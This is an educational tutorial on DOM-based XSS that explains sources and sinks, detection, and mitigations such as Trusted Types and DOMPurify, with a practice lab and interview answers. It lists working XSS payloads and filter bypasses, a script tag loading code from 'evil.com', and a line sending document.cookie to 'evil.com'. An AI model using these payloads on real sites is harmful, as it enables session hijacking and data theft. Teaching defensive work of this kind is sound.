DOM-Based XSS Deep Dive
TL;DR: DOM-based XSS occurs entirely in the browser when JavaScript takes untrusted data (sources) and passes it to dangerous functions (sinks) without sanitization. Unlike reflected/stored XSS, the malicious payload never reaches the server - making it invisible to server-side security controls.
Table of Contents
Open Table of Contents
Quick Reference
Common DOM XSS Sources
| Source | Description | Example |
|---|---|---|
location.hash | URL fragment | #<script>alert(1)</script> |
location.search | Query string | ?q=<script>alert(1)</script> |
location.href | Full URL | Direct URL manipulation |
document.referrer | Referrer header | Malicious referring page |
document.cookie | Cookies | Via other vulnerabilities |
window.name | Window name | Cross-origin data transfer |
localStorage/sessionStorage | Web storage | Persistent XSS |
postMessage | Cross-origin messaging | iframe communication |
Common DOM XSS Sinks
| Sink | Risk Level | Example |
|---|---|---|
innerHTML | High | div.innerHTML = userInput |
outerHTML | High | element.outerHTML = data |
document.write() | High | document.write(input) |
eval() | Critical | eval(userInput) |
setTimeout/setInterval | Critical | setTimeout(userInput, 1000) |
Function() | Critical | new Function(userInput) |
location.href | Medium | location.href = userInput |
element.src | Medium | img.src = userInput |
jQuery.html() | High | $(element).html(input) |
XSS Types Comparison
The Three XSS Types
┌─────────────────────────────────────────────────────────────┐
│ XSS COMPARISON │
├─────────────────┬─────────────────┬─────────────────────────┤
│ REFLECTED │ STORED │ DOM-BASED │
├─────────────────┼─────────────────┼─────────────────────────┤
│ Payload in │ Payload stored │ Payload processed │
│ request │ on server │ in browser only │
├─────────────────┼─────────────────┼─────────────────────────┤
│ Server echoes │ Server retrieves│ Server never sees │
│ to response │ and echoes │ payload (after #) │
├─────────────────┼─────────────────┼─────────────────────────┤
│ Server-side │ Server-side │ Client-side │
│ output encoding │ output encoding │ input sanitization │
│ fixes it │ fixes it │ required │
├─────────────────┼─────────────────┼─────────────────────────┤
│ One victim at │ Multiple victims│ One victim at a time │
│ a time │ (persistent) │ (unless stored in DOM) │
└─────────────────┴─────────────────┴─────────────────────────┘
Data Flow Visualization
Reflected XSS:
User → Browser → Server → Browser (reflects payload) → Execution
↑
Payload visible in
server logs
Stored XSS:
Attacker → Server (stores) → Database
Victim → Browser → Server → Database → Server → Browser → Execution
DOM-based XSS:
User → Browser (JS reads source) → Browser (passes to sink) → Execution
↑
Payload NEVER
reaches server
(especially with #)
Why DOM XSS is Special
- Invisible to WAFs: Payload after
#isn’t sent to server - No server logs: Attack leaves no server trace
- Client-side root cause: Fix requires JavaScript changes
- Same-origin context: Full access to page data and APIs
- Modern prevalence: SPA frameworks increase risk
Browser Execution Context
The Document Object Model
window
│
┌──────────┼──────────┐
│ │ │
document location history
│
┌──────┼──────┐
│ │ │
head body ...
│
┌──────┼──────┐
│ │ │
div form script
JavaScript Execution Contexts
// Global scope - window object
alert(1); // Same as window.alert(1)
// DOM manipulation
document.body.innerHTML = "..."; // Modify page content
// URL access
location.hash; // Read URL fragment
location.search; // Read query string
location.href; // Read/write full URL
// Script execution
eval("alert(1)"); // Execute string as code
new Function("alert(1)")(); // Same effect
setTimeout("alert(1)", 0); // String as code (legacy)
Same-Origin Policy Impact
When XSS executes, the malicious script has the same privileges as legitimate page scripts:
// An XSS payload can:
document.cookie; // Read session cookies
fetch('/api/user/data'); // Call authenticated APIs
document.forms[0].submit(); // Submit forms as user
localStorage.getItem('token'); // Access stored tokens
navigator.credentials.get(); // Potentially access credentials
Sources and Sinks
Understanding Sources
Sources are JavaScript properties/methods that can be controlled by an attacker.
URL-Based Sources
// location.hash - everything after #
// URL: https://example.com/page#<img src=x onerror=alert(1)>
let hash = location.hash; // "#<img src=x onerror=alert(1)>"
// location.search - query string
// URL: https://example.com/page?name=<script>alert(1)</script>
let query = location.search; // "?name=<script>alert(1)</script>"
// location.href - full URL
let url = location.href;
// document.URL - alias for location.href
let docUrl = document.URL;
// document.documentURI
let uri = document.documentURI;
Other Sources
// document.referrer - where user came from
let ref = document.referrer;
// window.name - persists across navigations
let name = window.name;
// Web Storage
let stored = localStorage.getItem('userInput');
let session = sessionStorage.getItem('data');
// postMessage - cross-origin communication
window.addEventListener('message', function(e) {
let data = e.data; // Source!
});
Understanding Sinks
Sinks are JavaScript functions/properties that execute or render content in a dangerous way.
HTML Injection Sinks
// Direct HTML insertion - executes scripts
element.innerHTML = userInput; // DANGEROUS
element.outerHTML = userInput; // DANGEROUS
document.write(userInput); // DANGEROUS
document.writeln(userInput); // DANGEROUS
// jQuery equivalents
$(element).html(userInput); // DANGEROUS
$(element).append(userInput); // DANGEROUS if contains HTML
JavaScript Execution Sinks
// Direct code execution
eval(userInput); // CRITICAL
new Function(userInput)(); // CRITICAL
setTimeout(userInput, 1000); // If string argument
setInterval(userInput, 1000); // If string argument
// Script src manipulation
scriptElement.src = userInput;
scriptElement.text = userInput;
URL/Navigation Sinks
// Redirect sinks (javascript: pseudo-protocol)
location.href = userInput; // javascript:alert(1)
location.assign(userInput);
location.replace(userInput);
window.open(userInput);
// Link manipulation
anchor.href = userInput; // javascript: URLs
Sink and Source Combinations
| Source | Sink | Example Vulnerable Code |
|---|---|---|
location.hash | innerHTML | div.innerHTML = location.hash.slice(1) |
location.search | document.write | document.write(location.search) |
document.referrer | innerHTML | span.innerHTML = document.referrer |
postMessage | eval | eval(e.data.code) |
localStorage | innerHTML | div.innerHTML = localStorage.getItem('x') |
Payload Crafting
Basic Payloads
<!-- Event handler payloads (no script tags needed) -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<!-- Script tag payloads -->
<script>alert(1)</script>
<script src=//evil.com/xss.js></script>
<!-- javascript: protocol -->
<a href=javascript:alert(1)>click</a>
<iframe src=javascript:alert(1)>
DOM-Specific Payloads
For location.hash:
https://target.com/page#<img src=x onerror=alert(document.domain)>
For location.search (may need encoding):
https://target.com/page?input=<img%20src=x%20onerror=alert(1)>
For javascript: sinks:
javascript:alert(document.cookie)
Filter Bypass Techniques
<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
<!-- Encoding -->
<img src=x onerror=alert(1)>
<img src=x onerror=\u0061lert(1)>
<img src=x onerror=alert(1)>
<!-- No parentheses -->
<img src=x onerror=alert`1`>
<img src=x onerror=alert(1)>
<!-- No spaces -->
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
<!-- Breaking out of JavaScript strings -->
';alert(1)//
"-alert(1)-"
</script><script>alert(1)</script>
<!-- Template literals -->
${alert(1)}
`${alert(1)}`
Context-Aware Payloads
Inside JavaScript string:
// Vulnerable: var name = "USER_INPUT";
// Payload: ";alert(1)//
// Result: var name = "";alert(1)//";
Inside JavaScript template literal:
// Vulnerable: `Hello ${USER_INPUT}`
// Payload: ${alert(1)}
// Result: `Hello ${alert(1)}`
Inside HTML attribute:
<!-- Vulnerable: <div data-value="USER_INPUT"> -->
<!-- Payload: " onclick=alert(1) x=" -->
<!-- Result: <div data-value="" onclick=alert(1) x=""> -->
Detection with DevTools
Finding Sources
Step 1: Identify user-controlled data entry points
// Check these in Console:
console.log(location.hash);
console.log(location.search);
console.log(location.href);
console.log(document.referrer);
console.log(document.cookie);
Step 2: Search for source usage in code
In DevTools Sources tab, search (Ctrl+Shift+F) for:
location.hashlocation.searchlocation.hrefdocument.URLdocument.referrerwindow.name.getItem(postMessage
Finding Sinks
Search for dangerous sink patterns:
// Search in Sources for:
.innerHTML
.outerHTML
document.write
eval(
new Function(
setTimeout(
setInterval(
$.html(
.append(
DOM Breakpoints
Set breakpoints on DOM modifications:
- Right-click element in Elements tab
- Select “Break on” → “Subtree modifications”
- Trigger the functionality
- Examine call stack for sources
Tracing Data Flow
Using Console to trace:
// Override innerHTML to trace calls
const originalInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
set: function(value) {
console.trace('innerHTML set to:', value);
return originalInnerHTML.set.call(this, value);
}
});
Using Browser Extensions
DOM Invader (Burp Suite):
- Automatically identifies sources and sinks
- Injects canary values to trace data flow
- Highlights vulnerable code paths
Manual testing workflow:
1. Inject unique string: location.hash = "#CANARY12345"
2. Search page source for CANARY12345
3. Examine context where it appears
4. Craft payload for that context
Mitigation Strategies
Secure Coding Practices
Use Safe APIs
// DANGEROUS - parses HTML
element.innerHTML = userInput;
// SAFE - treats as text
element.textContent = userInput;
element.innerText = userInput;
// DANGEROUS - can execute javascript:
location.href = userInput;
// SAFER - validate URL first
function safeRedirect(url) {
const parsed = new URL(url, location.origin);
if (parsed.protocol === 'https:' || parsed.protocol === 'http:') {
location.href = url;
}
}
Input Sanitization
// Using DOMPurify library
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
// Basic encoding for text contexts
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
Content Security Policy
CSP can mitigate XSS impact:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
object-src 'none';
CSP for DOM XSS:
script-src 'self'- Blocks inline scripts (but not innerHTML)require-trusted-types-for 'script'- Enforces Trusted Types
Trusted Types API
Modern browser API to prevent DOM XSS:
// Create a policy
const escapePolicy = trustedTypes.createPolicy('escape', {
createHTML: (input) => DOMPurify.sanitize(input)
});
// Use the policy
element.innerHTML = escapePolicy.createHTML(userInput);
// Enable enforcement
// Content-Security-Policy: require-trusted-types-for 'script'
Framework Protections
React:
// Automatic escaping
<div>{userInput}</div> // Safe
// Dangerous - explicitly opt-in
<div dangerouslySetInnerHTML={{__html: userInput}} /> // DANGEROUS
Angular:
// Automatic sanitization
<div [innerHTML]="userInput"></div> // Sanitized
// Bypassing (dangerous)
this.sanitizer.bypassSecurityTrustHtml(userInput); // DANGEROUS
Vue:
<!-- Automatic escaping -->
<div>{{ userInput }}</div> <!-- Safe -->
<!-- Dangerous -->
<div v-html="userInput"></div> <!-- DANGEROUS -->
Hands-On Lab
Lab: Exploit DOM XSS Vulnerabilities
Setup: Use OWASP WebGoat, PortSwigger Web Academy, or create a local test page.
Lab Page Setup
<!DOCTYPE html>
<html>
<head><title>DOM XSS Lab</title></head>
<body>
<h1>Search Results</h1>
<div id="results"></div>
<script>
// Vulnerable code
const params = new URLSearchParams(location.search);
const query = params.get('q');
if (query) {
document.getElementById('results').innerHTML =
'Results for: ' + query;
}
</script>
</body>
</html>
Task 1: Identify the Vulnerability
1. Open DevTools Console
2. Check URL parameters: console.log(location.search)
3. Search source code for "innerHTML"
4. Trace data flow from source (location.search) to sink (innerHTML)
Task 2: Craft and Test Payloads
# Basic test
http://localhost/lab.html?q=test
# XSS test
http://localhost/lab.html?q=<img src=x onerror=alert(1)>
# Cookie theft payload
http://localhost/lab.html?q=<img src=x onerror=alert(document.cookie)>
Task 3: Create Fix
// Fixed version
const params = new URLSearchParams(location.search);
const query = params.get('q');
if (query) {
// Use textContent instead of innerHTML
document.getElementById('results').textContent =
'Results for: ' + query;
}
Task 4: Test Filter Bypasses
If basic payload is blocked, try:
?q=<svg/onload=alert(1)>
?q=<img src=x onerror=alert`1`>
?q=<details open ontoggle=alert(1)>
Interview Questions & Answers
Basic Questions
Q1: What is DOM-based XSS and how does it differ from reflected XSS?
Strong Answer: “DOM-based XSS is a client-side vulnerability where malicious JavaScript is executed through manipulation of the DOM environment in the victim’s browser. The key difference from reflected XSS is the data flow:
Reflected XSS:
- Payload is sent to the server
- Server includes payload in response
- Server-side output encoding prevents it
DOM-based XSS:
- Payload is processed entirely in the browser
- JavaScript reads from a ‘source’ (like location.hash)
- JavaScript writes to a ‘sink’ (like innerHTML)
- Server never sees the payload (especially with URL fragments)
This means WAFs and server-side security controls are ineffective against DOM XSS. The fix must be in the client-side JavaScript code.”
Q2: Explain sources and sinks in DOM XSS.
Strong Answer: “In DOM XSS, sources are JavaScript properties that an attacker can control, and sinks are dangerous functions that can execute or render attacker-controlled content.
Common Sources:
location.hash- URL fragment after #location.search- Query stringdocument.referrer- Referring pagepostMessagedata - Cross-origin messagesCommon Sinks:
innerHTML- Inserts content as HTMLdocument.write()- Writes to documenteval()- Executes string as codelocation.href- Can execute javascript: URLsDOM XSS occurs when data flows from a source to a sink without proper sanitization. For example:
div.innerHTML = location.hash; // Source → SinkThe mitigation is either sanitizing the data or using safe APIs like
textContentinstead ofinnerHTML.”
Intermediate Questions
Q3: How would you detect DOM XSS vulnerabilities during a security assessment?
Strong Answer: “I use a combination of static and dynamic analysis:
Static Analysis:
- Search JavaScript for dangerous sinks (innerHTML, eval, document.write)
- Trace backwards to find what data reaches those sinks
- Identify if sources (location.hash, etc.) flow to sinks
Dynamic Analysis:
- Inject canary values into potential sources
- Set
location.hash = '#CANARY12345'- Add
?param=CANARY12345to URL- Search page DOM for the canary
- Examine the context (HTML, JS string, attribute)
- Craft context-appropriate payload
Tooling:
- DOM Invader (Burp Suite extension)
- Browser DevTools with breakpoints on DOM modifications
- Custom JavaScript to trace innerHTML assignments
DevTools Technique:
// Monitor innerHTML in Console const original = Object.getOwnPropertyDescriptor( Element.prototype, 'innerHTML'); Object.defineProperty(Element.prototype, 'innerHTML', { set: function(value) { if (value.includes('CANARY')) { console.trace('DOM XSS - innerHTML:', value); } return original.set.call(this, value); } }); ```"
Q4: A developer argues that CSP will prevent all XSS. What do you tell them?
Strong Answer: “CSP is a powerful defense-in-depth control, but it has limitations for DOM XSS:
What CSP CAN do:
- Block inline script execution (
script-srcwithoutunsafe-inline)- Prevent loading of external malicious scripts
- Restrict where data can be sent (limiting exfiltration)
What CSP CANNOT do:
- Prevent innerHTML from rendering malicious HTML
- Stop
<img onerror>handlers (they’re inline)- Block javascript: URLs in href attributes
- Prevent eval() if
unsafe-evalis allowedExample CSP bypass with DOM XSS:
// CSP: script-src 'self' // This still works: div.innerHTML = '<img src=x onerror=alert(1)>'; // Because img tags and event handlers aren't 'scripts'Better approach:
- Use CSP as defense-in-depth
- Implement Trusted Types API (
require-trusted-types-for 'script')- Fix root cause: use safe APIs (textContent vs innerHTML)
- Sanitize with DOMPurify when HTML is required
CSP is a safety net, not a substitute for secure coding.”
Advanced Questions
Q5: Explain how Trusted Types help prevent DOM XSS and their limitations.
Strong Answer: “Trusted Types is a browser API that enforces type-safe DOM manipulation, preventing DOM XSS at the browser level.
How it works:
- Enable via CSP:
require-trusted-types-for 'script'- Browser now rejects strings passed to dangerous sinks
- You must create ‘trusted’ values through policies
// Without Trusted Types - vulnerable div.innerHTML = userInput; // Works (vulnerable) // With Trusted Types enforced div.innerHTML = userInput; // TypeError! String rejected // Create a sanitization policy const policy = trustedTypes.createPolicy('sanitize', { createHTML: (input) => DOMPurify.sanitize(input) }); // Use the policy div.innerHTML = policy.createHTML(userInput); // Works (safe)Limitations:
- Browser support (Chrome, Edge; limited in Firefox/Safari)
- Requires refactoring existing code
- Third-party libraries may not support it
- Need to create policies for legitimate HTML
- Can be bypassed with
defaultpolicy if misconfiguredBest practice:
- Use strict policies with explicit sanitization
- Don’t create a permissive default policy
- Combine with CSP and secure coding practices”
Q6: Walk me through exploiting a real-world DOM XSS scenario.
Strong Answer: “Let me describe a realistic scenario I’d test:
Scenario: Single-page application with client-side routing
Discovery:
// Found in bundled JS: const path = window.location.hash.slice(1); document.querySelector('#content').innerHTML = `<h1>Page: ${path}</h1>`;Analysis:
- Source:
location.hash- Sink:
innerHTML- No sanitization
Exploitation:
https://target.com/#<img src=x onerror=alert(document.domain)>Impact Assessment:
- Session hijacking:
new Image().src='//evil.com/steal?c='+document.cookie- Keylogging: Inject script to capture form input
- Phishing: Replace page content with fake login
Proof of Concept (responsible):
// Non-malicious PoC that demonstrates impact // URL: https://target.com/#<img src=x onerror=alert('XSS-'+document.domain)>Remediation:
// Option 1: Use textContent document.querySelector('#content').textContent = path; // Option 2: Sanitize document.querySelector('#content').innerHTML = DOMPurify.sanitize(`<h1>Page: ${path}</h1>`); // Option 3: Validate against allowlist const allowedPages = ['home', 'about', 'contact']; if (allowedPages.includes(path)) { // Safe to use } ```"
Glossary
| Term | Definition |
|---|---|
| DOM | Document Object Model - browser’s representation of the page |
| Source | JavaScript property containing attacker-controlled data |
| Sink | JavaScript function that can execute/render content dangerously |
| innerHTML | Property that parses and renders HTML content |
| textContent | Property that sets text without parsing HTML |
| Trusted Types | Browser API enforcing type-safe DOM manipulation |
| CSP | Content Security Policy - HTTP header restricting resources |
| DOMPurify | Library for sanitizing HTML against XSS |
| Same-Origin Policy | Browser security restricting cross-origin access |
What’s Next
Continue building your web security expertise:
- CSRF Attacks and Modern Defenses - Related client-side vulnerability
- Content Security Policy Explained - Defense against XSS
- Business Logic Vulnerabilities - Non-technical web flaws
Questions or feedback? Open an issue on GitHub.